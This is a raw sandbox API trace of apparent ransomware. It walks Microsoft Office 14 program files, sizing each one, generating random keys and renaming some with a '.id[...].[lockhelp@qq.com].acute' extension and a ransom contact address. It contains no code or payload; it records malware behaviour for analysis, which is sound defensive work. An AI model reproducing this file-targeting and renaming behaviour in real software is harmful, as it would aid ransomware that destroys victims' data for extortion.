[0273.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.577] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.578] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=571320) returned 1 [0273.578] CloseHandle (hObject=0x368) returned 1 [0273.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0273.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.578] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.579] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15224) returned 1 [0273.579] CloseHandle (hObject=0x368) returned 1 [0273.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0273.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.579] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.580] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=191872) returned 1 [0273.580] CloseHandle (hObject=0x368) returned 1 [0273.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0273.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.580] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.581] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15760) returned 1 [0273.581] CloseHandle (hObject=0x368) returned 1 [0273.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0273.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.582] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.582] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7379816) returned 1 [0273.582] CloseHandle (hObject=0x368) returned 1 [0273.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0273.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0 [0273.583] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.583] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=47520) returned 1 [0273.583] CloseHandle (hObject=0x368) returned 1 [0273.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0273.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.584] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.584] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1463568) returned 1 [0273.584] CloseHandle (hObject=0x368) returned 1 [0273.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0273.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.585] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.589] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=715834) returned 1 [0273.589] CloseHandle (hObject=0x368) returned 1 [0273.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0273.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.589] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.590] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15736) returned 1 [0273.590] CloseHandle (hObject=0x368) returned 1 [0273.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0273.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.590] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.591] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1377144) returned 1 [0273.591] CloseHandle (hObject=0x368) returned 1 [0273.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0273.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.591] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.592] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=9568) returned 1 [0273.592] CloseHandle (hObject=0x368) returned 1 [0273.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0273.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.593] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.596] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=19848) returned 1 [0273.596] CloseHandle (hObject=0x368) returned 1 [0273.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0273.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.596] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.597] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=18336) returned 1 [0273.597] CloseHandle (hObject=0x368) returned 1 [0273.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0273.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.597] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.598] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=752552) returned 1 [0273.598] CloseHandle (hObject=0x368) returned 1 [0273.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0273.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.598] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.598] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=261008) returned 1 [0273.598] CloseHandle (hObject=0x368) returned 1 [0273.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0273.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.598] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.599] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3943312) returned 1 [0273.599] CloseHandle (hObject=0x368) returned 1 [0273.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0x20 [0273.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), 